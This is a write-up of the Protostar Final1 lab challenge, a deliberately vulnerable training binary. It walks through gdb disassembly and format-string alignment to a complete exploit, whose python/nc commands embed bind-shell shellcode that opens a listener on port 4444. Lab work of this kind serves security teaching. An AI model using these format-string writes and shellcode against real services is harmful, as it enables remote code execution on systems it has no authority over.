Protostar Exploit Challenges Final1 Solution

Introduction

In this challenge we’re looking for a format string vulnerability. I’ll cover the vulnerability itself and how to exploit it.

The Vulnerability

Process of elimination is your friend here. The way I approached the problem was to look through the source code and determine which functions were vulnerable. A cursory glance of the program told me they weren’t going to make this as obvious as they had made previous challenges. The only insecure function I saw offhand was the call to sprintf:

sprintf(hostname, “%s:%d”, inet_ntoa(sin.sin_addr), ntohs(sin.sin_port));

It doesn’t take long to determine that there really isn’t anything of interest here. We do control our own IP address and port number, which are what’s copied into hostname, but we can’t really leverage that to create a buffer overflow in this situation. I did take a look at the disassembly for the set_io function and serve_forever, but I’ll save you the time and tell you that both seemed, at a glance, to be uninteresting. Logically, I assumed the vulnerability must be in parser, trim, or logit.

I looked at trim first and you can tell fairly quickly there isn’t anything there. It just turns carriage return / line feed into null bytes. That’s about it. Parser is a bit more interesting. It allows us to save a username and pass a password to the logit function. I spent some time looking at parser, but after examination it looks as if everything is clear in it as well. The line is cut down to the size of the buffer immediately and username is the same size as line so there really isn’t anything we can do there.

This leaves logit, but it uses snprintf and correctly prints the string with %s.  Well at this point, I considered my options, of which I figure there are three. I overlooked the vulnerability, the vulnerability requires me to disassemble the binary and look at the undocumented functions, or… and that’s when I thought of it… syslog? I’ve written plenty of things in C, but A) it’s been a while for me and B) I did it with the WINAPI so I wasn’t using stuff like the Linux syslog function. However, it stands to reason that syslog could print things similarly to sprintf. As it turns out that’s exactly the case. I gave the program the following username %x%x%x%x%x%x, login %x%x%x%x%x%x%x just to see what would happen:

figure1

Well would you look at that. Syslog prints things just like a regular printf and we passed it the buffers directly rather than through a %s.

Set Up

Following the pattern of other exercises so far I decided to go with an overwrite of the return address (hey why complicate things when I don’t need to). To determine the return address I ran final1 with gdb with the set follow-fork-mode child mode option set. I disassembled the parser function and set a breakpoint on the logit function.

(gdb) set follow-fork-mode child
(gdb) set disassembly-flavor intel
(gdb) disassemble parser
Dump of assembler code for function parser:
0x0804993d <parser+0>: push ebp
0x0804993e <parser+1>: mov ebp,esp
0x08049940 <parser+3>: sub esp,0x98
0x08049946 <parser+9>: mov eax,0x8049f0e
0x0804994b <parser+14>: mov DWORD PTR [esp],eax
0x0804994e <parser+17>: call 0x8048ccc <printf@plt>
0x08049953 <parser+22>: jmp 0x8049a08 <parser+203>
0x08049958 <parser+27>: lea eax,[ebp-0x88]
0x0804995e <parser+33>: mov DWORD PTR [esp],eax
0x08049961 <parser+36>: call 0x80498f1 <trim>
0x08049966 <parser+41>: mov DWORD PTR [esp+0x8],0x9
0x0804996e <parser+49>: mov DWORD PTR [esp+0x4],0x8049f1a
0x08049976 <parser+57>: lea eax,[ebp-0x88]
0x0804997c <parser+63>: mov DWORD PTR [esp],eax
0x0804997f <parser+66>: call 0x8048d9c <strncmp@plt>
0x08049984 <parser+71>: test eax,eax
0x08049986 <parser+73>: jne 0x80499a3 <parser+102>
0x08049988 <parser+75>: lea eax,[ebp-0x88]
0x0804998e <parser+81>: add eax,0x9
0x08049991 <parser+84>: mov DWORD PTR [esp+0x4],eax
0x08049995 <parser+88>: mov DWORD PTR [esp],0x804a220
0x0804999c <parser+95>: call 0x8048cbc <strcpy@plt>
0x080499a1 <parser+100>: jmp 0x80499fb <parser+190>
0x080499a3 <parser+102>: mov DWORD PTR [esp+0x8],0x6
0x080499ab <parser+110>: mov DWORD PTR [esp+0x4],0x8049f24
0x080499b3 <parser+118>: lea eax,[ebp-0x88]
0x080499b9 <parser+124>: mov DWORD PTR [esp],eax
0x080499bc <parser+127>: call 0x8048d9c <strncmp@plt>
0x080499c1 <parser+132>: test eax,eax
0x080499c3 <parser+134>: jne 0x80499fb <parser+190>
0x080499c5 <parser+136>: movzx eax,BYTE PTR ds:0x804a220
0x080499cc <parser+143>: test al,al
0x080499ce <parser+145>: jne 0x80499de <parser+161>
0x080499d0 <parser+147>: mov DWORD PTR [esp],0x8049f2b
0x080499d7 <parser+154>: call 0x8048d4c <puts@plt>
0x080499dc <parser+159>: jmp 0x80499fb <parser+190>
0x080499de <parser+161>: lea eax,[ebp-0x88]
0x080499e4 <parser+167>: add eax,0x6
0x080499e7 <parser+170>: mov DWORD PTR [esp],eax
0x080499ea <parser+173>: call 0x804989a <logit>
0x080499ef <parser+178>: mov DWORD PTR [esp],0x8049f3c
0x080499f6 <parser+185>: call 0x8048d4c <puts@plt>
0x080499fb <parser+190>: mov eax,0x8049f0e
0x08049a00 <parser+195>: mov DWORD PTR [esp],eax
0x08049a03 <parser+198>: call 0x8048ccc <printf@plt>
0x08049a08 <parser+203>: mov eax,ds:0x804a1e8
0x08049a0d <parser+208>: mov DWORD PTR [esp+0x8],eax
0x08049a11 <parser+212>: mov DWORD PTR [esp+0x4],0x7f
0x08049a19 <parser+220>: lea eax,[ebp-0x88]
0x08049a1f <parser+226>: mov DWORD PTR [esp],eax
0x08049a22 <parser+229>: call 0x8048bdc <fgets@plt>
0x08049a27 <parser+234>: test eax,eax
0x08049a29 <parser+236>: jne 0x8049958 <parser+27>
0x08049a2f <parser+242>: leave
0x08049a30 <parser+243>: ret
End of assembler dump.
(gdb) break *parser+173
Breakpoint 1 at 0x80499ea: file final1/final1.c, line 46.

I then ran the program and sent it a username and login command, which triggered my breakpoint.

Breakpoint 1, 0x080499ea in parser () at final1/final1.c:46
46 final1/final1.c: No such file or directory.
in final1/final1.c
(gdb) x/i $eip
0x80499ea <parser+173>: call 0x804989a <logit>
(gdb) stepi
[tcsetpgrp failed in terminal_inferior: No such process]
logit (pw=0xbffffc06 “%x%x%x%x%x%x%x”) at final1/final1.c:14
14 in final1/final1.c
(gdb) x/i $eip
0x804989a <logit>: push ebp
(gdb) x/x $esp
0xbffffbec: 0x080499ef
(gdb) x/i *0xbffffbec
0x80499ef <parser+178>: mov DWORD PTR [esp],0x8049f3c

Now I know the return address for our parser function will be at 0xbffffbec with address 0x080499ef.

Aligning the Format String

Pro Tip for this Part: Login as root and use tail -f /var/log/syslog to see continuous output of the syslog. It will make your life much easier.

If you’re like me, you may have found the whole format string business  a bit less than straightforward. So this next part may require you to think about it a bit more (or at least I had to because I couldn’t offhand remember everything I wanted to about setting up the format string attack). Recall that when we’re setting up for a format string attack we’re going to use direct parameter access to overwrite a specific address with a specific value. We do this by feeding the %n argument an address of our choosing and using the number of bytes between the beginning of our string and the %n specifier to control the value of the write.

The format of our string is going to look like this:

python -c ‘print “username XAAAA” + “%x.”*15 + “\nlogin dontcare\n”‘ | nc 127.0.0.1 2994

Just a bit of review, remember at this stage I am trying to line up the last thing printed from the stack with the As. The reason is that if I can line those up that means I can replace the As with an address that the %n formatter will write to. Next thing, why is there an X at the front? Remember how we had to pad our output before? Same concept. We have to get the stack to line up correctly. Check out the following output from one of my previous attempts:

python -c ‘print “username AAAA” + “%x.”*15 + “\nlogin dontcare\n”‘ | nc 127.0.0.1 2994

Aug 12 02:42:16 (none) final1: Login from 127.0.0.1:36359 as [AAAA8049ee4.804a2a0.804a220.bffffc36.b7fd7ff4.bffffa88.69676f4c.7266206e.31206d6f.302e3732.312e302e.3336333a.61203935.415b2073.25414141.] with password

You see how it ends with 25414141? 25 is the equivalent of a space. The program is reading in everything after username to include the space which is throwing things off. I realized to get just the 41s to line up in the last double word (fancy way of saying 4 bytes) I needed to pad the front so I added the X.

Now the real fun begins (that’s sarcasm), we need to use the %n formater to overwrite the address with a specific value. (Is it obvious that I’m not a big fan of the format string deal?) I tested direct parameter access by changing our multiple %xs with a direct parameter access statement:

python -c ‘print “username XAAAA” + “%15$x” + “\nlogin dontcare\n”‘ | nc 127.0.0.1 2994
Aug 12 03:17:44 (none) final1: Login from 127.0.0.1:36363 as [XAAAA41414141] with password [dontcare]

This means it works. The way you can tell is that it prints our string of XAAAA and then the direct parameter access occurs and that prints 41414141 which is our As on the stack. Replacing the $x with $n indicates our overwrite works because I received the following segfault:

Aug 12 03:23:25 (none) kernel: [ 8288.551312] final1[2502]: segfault at 24 ip 00000024 sp bffffbf0 error 4 in final1[8048000+2000]

Next I ran the command with 30 NOPs to see where the start of our password buffer would be:

 user@protostar:~$ python -c ‘print “username X\xec\xfb\xff\xbf” + “%15$n” + “\n” + “login” + ” \x90″*30 + “\n”‘ | nc 127.0.0.1 2994
0xbffffa0c: 0x20687469 0x73736170 0x64726f77 0x20905b20
0xbffffa1c: 0x20902090 0x20902090 0x20902090 0x20902090
0xbffffa2c: 0x20902090 0x20902090 0x20902090 0x20902090
0xbffffa3c: 0x20902090 0x20902090 0x20902090 0x20902090
0xbffffa4c: 0x20902090 0x20902090 0x000a5d90 0xb7ea98e4

I inadvertently left a space in there, but it’s not really a big deal. Our buffer starts at 0xbffffa1a, which means that if we put a payload with some NOPs in there we should be good to go. I generated a bind shell for 32 bit linux using msfconsole:

” \xb4\x41\xf8\x34\x98\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80″

Now for our last problem: We need to actually properly set the value of the return address because right now we’re just printing 0x24, which is a no go. In case you were wondering the 0x24 comes from the phrase: Login from 127.0.0.1:36368 as [space+5 bytes] where the space and the 5 bytes are our username. Keep in mind our password line can only fit 128-1-7 bytes. The program accounts for a null byte and 7 bytes for the logit line itself including the space.

We’ll use two short writes to accomplish our objectives. The second half of the address is at 0xbffffbec and the first half is at 0xbffffbee. You can determine that with the following two commands:

(gdb) x/h 0xbffffbec
0xbffffbec: 0x0024
(gdb) x/h 0xbffffbee
0xbffffbee: 0x0000

Now we can use the same trick I first demonstrated in format4. We want to write the address 0xbffffa1a so we’ll write 49151-40=49111 into the upper half at address 0xbffffbee and 64026-49111-40=14835 in the lower half at 0xbffffbec. I finally came up with the command:

python -c ‘print “username X\xee\xfb\xff\xbf\xec\xfb\xff\xbf” + “%49111u%15$hn” + “%14875u%16$hn” + “\n” + “login” + ” ” + “A”*83 + “\n”‘ | nc 127.0.0.1 2994

This worked! … sorta. Unfortunately, since we messed with the stack space the location of our payload changed (or maybe I miscalculated something earlier :-p). Either way the stack looks like this when we get to location 0xbffffa1a:

(gdb) x/100x $eip
0xbffffa1a: 0x7535 0x3125 0x2436 0x6e68 0x205d 0x6977 0x6874 0x7020
0xbffffa2a: 0x7361 0x7773 0x726f 0x2064 0x415b 0x4141 0x4141 0x4141
0xbffffa3a: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141
0xbffffa4a: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141
0xbffffa5a: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141
0xbffffa6a: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141
0xbffffa7a: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141
0xbffffa8a: 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141 0x4141

As you may have guessed, I used As to represent my payload. It would seem our payload is closer to 0xbffffa33. The new math comes out to 64051-49111-40=14900. The last step was to make the necessary adjustments and put my actual payload into the attack:

python -c ‘print “username X\xee\xfb\xff\xbf\xec\xfb\xff\xbf” + “%49111u%15$hn” + “%14900u%16$hn” + “\n” + “login” + ” ” + “\x25\x4e\x3c\x04\x98\x1d\x4f\x2f\x4a\x47\xdd\xc3\xbe\x98\xb4\x8b\xc7\xd9\x74\x24\xf4\x5a\x29\xc9\xb1\x14\x31\x72\x19\x83\xea\xfc\x03\x72\x15\x7a\x41\xba\x1c\x8d\x49\xee\xe1\x22\xe4\x13\x6f\x25\x48\x75\xa2\x25\xf2\x24\x6e\x4d\x07\xd9\x9f\xd1\x6d\xc9\xce\xb9\xf8\x08\x9a\x5f\xa3\x07\xdb\x16\x12\x9c\x6f\x2c\x25\xfa\x42\xac\x06\xb3\x3b\x61\x08\x20\x9a\x13\x36\x1f\xd0\x63\x01\xe6\x12\x0b\xbd\x37\x90\xa3\xa9\x68\x34\x5a\x44\xfe\x5b\xcc\xcb\x89\x7d\x5c\xe0\x44\xfd” + “\n”‘ | nc 127.0.0.1 2994

The payload is a bindshell for linux that opens up a listener on port 4444. I checked that it worked by performing a netstat and then connecting:

$ netstat -ant
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address Foreign Address State
tcp 0 0 0.0.0.0:111 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2994 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2996 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2997 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:22 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2998 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:2999 0.0.0.0:* LISTEN
tcp 0 0 127.0.0.1:25 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:4444 0.0.0.0:* LISTEN
tcp 0 0 0.0.0.0:37408 0.0.0.0:* LISTEN
tcp 0 0 192.168.86.132:22 192.168.86.1:48729 ESTABLISHED
tcp 0 0 127.0.0.1:36405 127.0.0.1:2994 ESTABLISHED
tcp 1 0 127.0.0.1:2994 127.0.0.1:36405 ESTABLISHED
tcp 0 0 192.168.86.132:22 192.168.86.1:48738 ESTABLISHED
tcp 0 52 192.168.86.132:22 192.168.86.1:46507 ESTABLISHED
tcp6 0 0 :::22 :::* LISTEN
tcp6 0 0 ::1:25 :::* LISTEN
$ nc 127.0.0.1 4444
echo test
test

For the exploit I used msfconsole and used payload/linux/x86/shell_bind_tcp. I left the options at default and ran generate as so: generate -s 10 -b ‘\x00\x0A\x0D’. The bytes at the end are the bad bytes we want to avoid. In this case they are the null byte, line feed, and carriage return.

 

Leave a Reply